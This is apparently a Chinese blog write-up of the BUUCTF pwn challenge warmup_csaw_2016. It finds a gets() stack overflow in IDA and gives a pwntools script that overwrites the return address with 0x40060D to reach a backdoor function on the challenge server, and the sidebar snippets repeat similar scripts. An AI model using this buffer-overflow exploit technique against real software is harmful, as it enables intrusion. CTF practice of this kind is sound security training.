buuctf|warmup_csaw_2016 1

最新推荐文章于 2024-06-22 10:45:03 发布
最新推荐文章于 2024-06-22 10:45:03 发布
阅读量1.2k 收藏 2
点赞数 2
分类专栏： ctf buuctf 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_64236521/article/details/124205329
版权
buuctf 同时被 2 个专栏收录
10 篇文章 1 订阅
订阅专栏
ctf
2 篇文章 0 订阅
订阅专栏

buuctf|warmup_csaw_2016 1

在这里插入图片描述
下载文件运行如下
在这里插入图片描述
checksec查看下保护
在这里插入图片描述
file一下，是64位文件
在这里插入图片描述
拉进ida，发现gets(v5),查看v5,明显的栈溢出
在这里插入图片描述

找到system，地址40060d在这里插入图片描述
直接exp

from pwn import*
p=remote('node4.buuoj.cn',28415)
payload=b'A'*0x48+p64(0x40060D)
p.sendline(payload)
p.interactive()

得flag
在这里插入图片描述
在这里插入图片描述

嚚_瘖
关注
  • 2
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
专栏目录
BUUCTF|warmup_csaw_2016 1
cm_zl
04-30 1227
from pwn import * context.log_level = 'debug' io=remote('node3.buuoj.cn', "28247") payload = "A"*(0x48) + p64(0x40060D) io.sendline(payload) io.interactive()
CTF buuoj pwn-----第3题:warmup_csaw_2016
bing_Max的博客
08-29 1658
CTF buuoj pwn-----第3题:warmup_csaw_2016前言一、pandas是什么？二、使用步骤1.引入库2.读入数据总结前言一、pandas是什么？二、使用步骤1.引入库2.读入数据总结创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入 前言 提示：这里可以添加本文要记录的大概内容： 例如：随着人工智能的不断发展，机器学习这门技
BUUCTF刷题之路-warmup_csaw_20161
qq_30528603的博客
05-27 308
大概明确函数的执行流程。而且我们在主函数一眼就看到一个危险函数gets，大概率就是个栈溢出。然后我们又在IDA中发现有system和一个后门函数，那这题就非常简单，跟上一题是一个思路的。那我们就直接栈溢出覆盖返回地址到后门函数，这题就做完了。在主函数中我们看到v5变量离rbp距离是0x40h，因为是64位程序还得加8才到返回地址。这题原本昨天就打算发的，刚做完电脑死机了。
warmup_csaw_2016 1
weixin_52034946的博客
01-13 805
先checksec 是64位,小端序 进入ida,查看字符串 有一个cat flag 的字符串,跟进去,是这个函数,也就是执行这个函数我们就可以得到flag 一如既往的来到了main 函数处, 也是看到了get函数,一般就是栈溢出了,v5的大小位0x40,再加上是64位,所以要输入0x40+8,来造成栈溢出 脚本 from pwn import* r=remote(‘node3.buuoj.cn’,28011) flag_addr = 0x40060D payload = ‘a’*(0x40+8)+p6
[BUUCTF]pwn栏目 warmup_csaw_2016 1的题解和小疑问，欢迎讨论
XDiku的博客
11-01 1306
[BUUCTF]pwn栏目 warmup_csaw_2016 1的题解和小疑问，欢迎讨论
BUUCTF warmup_csaw_2016 1
qq_56313338的博客
09-10 177
简单的栈溢出
warmup_csaw_2016
weixin_56301399的博客
07-20 1329
做了几道入门的题，从原来的柔弱蚂蚁到现在稍稍强壮的蚂蚁，我决定实施菜狗子计划，让蚂蚁继续进化。题目中的思路很清晰，对于栈溢出，我们先判断是否有栈溢出的漏洞，之后去找系统调用的函数，然后查到他的地址，最后就是我们的代码构建了。偏移量的计算=（数组本身大小+对应位的偏移64位是ox8）然后加上我们系统调用函数的地址。...
PyPI 官网下载 | warmup_scheduler-0.3.tar.gz
01-30
资源来自pypi官网。 资源全名：warmup_scheduler-0.3.tar.gz
0ctf_2016_warmup
05-17
2016年0ctf的pwn题。
markdown_warmup_html
05-28
markdown-warmup-html。
TensorFlow Serving API设置warmup
01-07
运行后附代码文件生成tf_serving_warmup_requests文件； 置其于模型保存文件夹内的assets.extra文件夹下； 重启docker API即可，可观察到屏幕输出显示warmp启动成功； 保存模型的文件结构于是乎成为： . ├── ...
neo_warmup:热身 Neo4j
06-05
构建它： mvn clean package将 target/warmup-1.0.jar 复制到 Neo4j 服务器的 plugins/ 目录中。 通过在 conf/neo4j-server.properties 中添加一行来配置 Neo4j： org.neo4j.server.thirdparty_jaxrs_classes=...
buuctf web warmup详细题解
weixin_64160292的博客
03-31 3044
题目：warmup 题目来源：buuctf 分析过程： 1. 首先ctrl + u 查看源代码，我们发现有一个source.php文件 2. 我们打开source.php文件，是一段代码，这道题要我们代码审计。 3. 与source文件相似的hint.php文件我们也打开看一下，它说flag在ffffllllaaaagggg中。 正在上传… 4. 然后回来source.php看这段代码，通过上网查询关于php的函数的用法。然后审计代码得出，...
buuctf warmup_csaw_2016
yidalipao1的博客
09-03 457
buuctf pwn
Buuctf-warmup【代码审计】
qq_61968245的博客
12-15 1043
0x01 题目链接 https://buuoj.cn/challenges#[HCTF%202018]WarmUphttps://buuoj.cn/challenges#[HCTF%202018]WarmUp 0x02 知识点 isset($name)：判断变量是否存在 is_string($name)：判断变量是否为字符串 in_array($search，$array)：判$search是否在$array数组里 mb_stro...
BUUCTF web之WarmUp 源代码详解
good good study
11-18 2348
前言前言访问除了一张滑稽图，就没其他的了查看源码，有一个注释了的 source.php，可以尝试直接访问一下。同时进行目录扫描访问source.php，里面包含php代码，题目说了是php代码审计，那就先从这里进行分析提取其中的php代码代码分析1. 代码整体结构分析前面两个条件很好满足，只需要 source.php?file=字符串 ，即可。所以重点需要让checkeFile函数返回true，则会进行文件包含2. chechkFile()函数分析。
BUUCTF|PWN-warmup_csaw_2016-WP
l2645470582_的博客
07-28 449
1、下载文件并开启靶机 2、在Linux中查看该文件信息 checksec warmup_csaw_2016 3、我们看到该文件是64位的文件，我们用64位IDA打开该文件 3.1、shift+f12查看该文件的关键字符串 3.2、双击关键字符串，f5进入反编译代码区 查看main函数 3.3、我们看到s和v5字符数组，查看他们所占字节 v5有溢出: r(返回地址)： 关键字符串函数地址 4、编译代码 #i...
临时关闭Windows安全中心
最新发布
Chasingthewinds的博客
06-22 282
临时关闭微软安全中心

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值